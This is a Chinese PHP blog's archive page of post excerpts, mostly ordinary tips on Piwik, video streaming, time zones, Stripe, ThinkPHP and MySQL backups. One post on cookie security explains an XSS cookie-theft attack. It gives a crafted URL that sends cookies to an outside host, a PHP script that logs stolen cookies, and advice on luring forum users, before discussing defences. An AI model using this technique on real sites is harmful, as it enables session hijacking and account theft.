分类目录归档:PHP

piwik 插件开发入门教程

能阅读英文的小伙伴可以直接去官方读读,不过piwik官方文档的确很多,想理清楚需要一点功夫 https://developer.piwik.org/guides/getting-started-part-1 创建一个插件 ./console generate:plugin –name="MyPlugin" There are no commands defined in the “generate” namespace. 开启开发模式 ./console development:enable Development mode enabled ./console generate:plugin –name="MyPlugin" 自定义一个报告 ./console generate:report 输入要在哪个插件下 输入MyPlugin Enter the name of your plugin: MyPlugin Enter the name of … 继续阅读

发表在 PHP | 标签为 | 留下评论

php 断点续传视频音频

配合html5的video 标签,实现php加载视频 可以拖动进度条 这样就可以在php里进行权限判断等操作了。 $v = file_get_contents("3.mp4"); echo $v; 这样也能播放,但是不能拖动进度条 <?php   // 文件名 $filename = "pai.mp4";   // 文件路径 $location = ‘mv2/’ . $filename;   // 后缀 $extension = substr ( strrchr ( $filename, ‘.’ ), 1 );   … 继续阅读

发表在 PHP | 标签为 , | 留下评论

Centos下为lampp的piwik安装GeoIP地理库

Centos LAMPP 配置GEOIP yum install mod_geoip /usr/share/GeoIP/ // GeoIP 是国家数据,GeoLiteCity 是城市数据,GeoIPASNum 是组织数据 pwiki官方展示配置文件地址为 https://piwik.org/faq/how-to/#faq_163 /etc/apache2/mods-enabled/geoip.conf` 安装了lampp的服务器实际配置文件地址为 /etc/httpd/conf.d/geoip.conf cp /usr/share/GeoIP/GeoLiteCity.dat /www/stat/misc/ 这样就安装了GeoIP(php) 了。 不过系统提示我 本地理位置服务商最容易安装,不需要在服务器上设置 (适合虚拟主机!)。它使用 GeoIP 数据库和 MaxMind 的 PHP API 来准确定位访客的地理位置。 如果您的网站流量很大,这个服务速度会很慢。如果这样,您最好安装 PECL 扩展 或者 服务器模块。 接着鼓捣PECL安装方式 yum -y … 继续阅读

发表在 PHP | 标签为 , | 留下评论

php时间国际化和本地转换

假如一个网站面临国际人群,那么可能分布在不同的时区,那么最好存入UTC时间在数据库,然后读出来以后,根据人群的位置,进行计算时间(月小升认为输出的还是UTC时间,但是要进行后处理,根据读者的时区用JS 来重新输出时间,就可以实现国际化了) <?php echo ‘<meta charset="UTF-8">’;   date_default_timezone_set("UTC"); $time1 = date("Y-m-d H:i:s"); $times1 = strtotime($time1);   echo time()."<br />";   echo "UTC时间:".$time1." – ".$times1."<br>";   date_default_timezone_set("PRC"); $time1 = date("Y-m-d H:i:s"); $times1 = strtotime($time1); echo "北京时间:".$time1." – ".$times1."<br>"; echo "当前时区:".date_default_timezone_get()."<br>";   … 继续阅读

发表在 PHP | 标签为 , , | 2 条评论

利用CURL直接调用Stripe接口

<?php   function test(){ var_dump($_POST);   $token = $_POST[’stripeToken’]; echo $token;   var_dump($_GET); $url = ‘https://api.stripe.com/v1/charges’; $data = array( "amount"=>’2000′, "currency"=>’usd’, "source"=>$token, "metadata[order_id]"=>’6735′, ); $i = 0; foreach ($data as $k=>$v){ $v = urlencode(stripslashes($v)); if($i==0){ $req .= "{$k}={$v}"; }else{ $req … 继续阅读

发表在 PHP | 标签为 , , | 一条评论

Cookie欺骗及反欺骗 论cookie安全

Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。 浏览器一般只允许存放300个Cookie, 每个站点最多存放20个Cookie, 每个Cookie的大小限制为4KB, Cookie代表了你的身份,那么安全性就有得考虑了。 1.Cookie欺骗: Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。 别人穿了你的衣服,冒充你去做了新郎 2.Cookie截获 Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。  这个就是一些新手,还有一些网站,傻乎乎的把用户的账户和密码,明文在互联网上传送。核心信息都是加密传送的。记住一点,你发出的任何经过浏览器的信息,提交的表单,不仅仅服务器知道,还有网络传送过程的经历的那些路由器 Cookie截获 http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6;
将其中”“更换为:
”“再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是”%2b”为符号”+”的URL编码,因为”+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。
 步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下: <?php  $info=getenv("OUERY_STRING");  if($info){   $fp=fopen("info.tXt","a");   fwrite($fp,!info."\n");  fclose($fp); }  header("Location:http://www.XXX.net"); ?> 将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。  明白为啥那么多安全团队都会明确指出你的search.php的参数,可以注入javascript脚本是多么的危险啊 废话那么多。只是我好奇 如何防止cookie被伪装,盗取 答案1:不用cookie,用session (session的硬伤是无法做到保持用户一年免输入密码登录) 答案2:用cookie,但是我加密 比如常规情况下我保存一个cookie username setcookie("username",$username); 现在我保存2个 username, token setcookie("username",$username); setcookie("token",$token); $token 是怎么来的 … 继续阅读

发表在 JAVA, PHP, WEB前端 | 标签为 , , | 留下评论

php 过滤非中文,数字,字母的特殊字符

搜索引擎吃进数据的时候,是不需要那些奇怪的字符的 $str = "?><?》”\"《喂喂喂,555?,12312。 3》《|“:L}{P+_)In thsdff0?><M<>\"s~!@#$%^&*()+_)(*&dsdffsde~!@#¥%……&*5545445()+——)(*&……%¥#@!~ 电影_后天 230809-peopl.e die我d.(*&^%$#@!!~"; echo match_chinese($str);   function match_chinese($chars,$encoding=’utf8′) { $pattern =($encoding==’utf8′)?’/[\x{4e00}-\x{9fa5}a-zA-Z0-9,,。 ]/u’:'/[\x80-\xFF]/’; preg_match_all($pattern,$chars,$result); $temp =join(”,$result[0]); return $temp; }

发表在 PHP | 标签为 , , | 留下评论

thinkphp的调试信息如何关闭

经常上线的Thinkphp 项目带着debug信息,下面来关闭thinkphp的调试信息 1.在 /common/conf 修改config.php ‘SHOW_PAGE_TRACE’ =>FALSE, 2. 也修改了入口文件根目录下的index.php define(’APP_DEBUG’, false); 3.最后把 /Think/Common/Conf/debug.php 全都注释掉了。还是有调试的出来。 4.runtime 缓存文件全部删除掉

发表在 PHP | 标签为 | 留下评论

一次性备份mysql全部的数据库

遍历mysql 数据库 有多少表 #!/bin/sh BIN_DIR="/usr/local/mysql/bin" DATE=`date +%F` BCK_DIR="/backup/backupwebsite/mysql/all/$DATE" mkdir -p $BCK_DIR DBS=`mysql -Bse "show databases"|grep -v "information_schema" |grep -v "test"` for DB_NAME in $DBS do echo $DB_NAME done 一次性备份mysql数据库所有表 #!/bin/sh BIN_DIR="/usr/local/mysql/bin" DATE=`date +%F` BCK_DIR="/backup/backupwebsite/mysql/all/$DATE" mkdir -p $BCK_DIR DBS=`mysql -Bse "show … 继续阅读

发表在 Linux, PHP | 留下评论

windows下的TortoiseSVN自动提交SVN

写个bat 调用exe文件 svn.bat cd C:\Program Files\TortoiseSVN\bin start TortoiseProc.exe /command:update /path:"D:\SVNBack\" /closeonend:3 closeonend:3 没有异常就关闭窗口 测试的时候可以加上这两句 echo 提交完成,自动退出 pause 每隔一分钟执行一次提交(有点频繁,客观可以根据月小升的这个改成30分钟一次) /sc表示指定计划频率,/mo时间间隔,/tn指定的唯一任务名,/tr要执行的程序路径。更详细说明可以通过SCHTASKS /Create /?查看。 schtasks /create /sc minute /mo 1 /tn "mySvnTask" /tr D:\SVNBack\svn.bat 停止任务执行 schtasks /end /tn mySvnTask 删除任务执行 schtasks /delete /tn … 继续阅读

发表在 PHP | 标签为 , , | 留下评论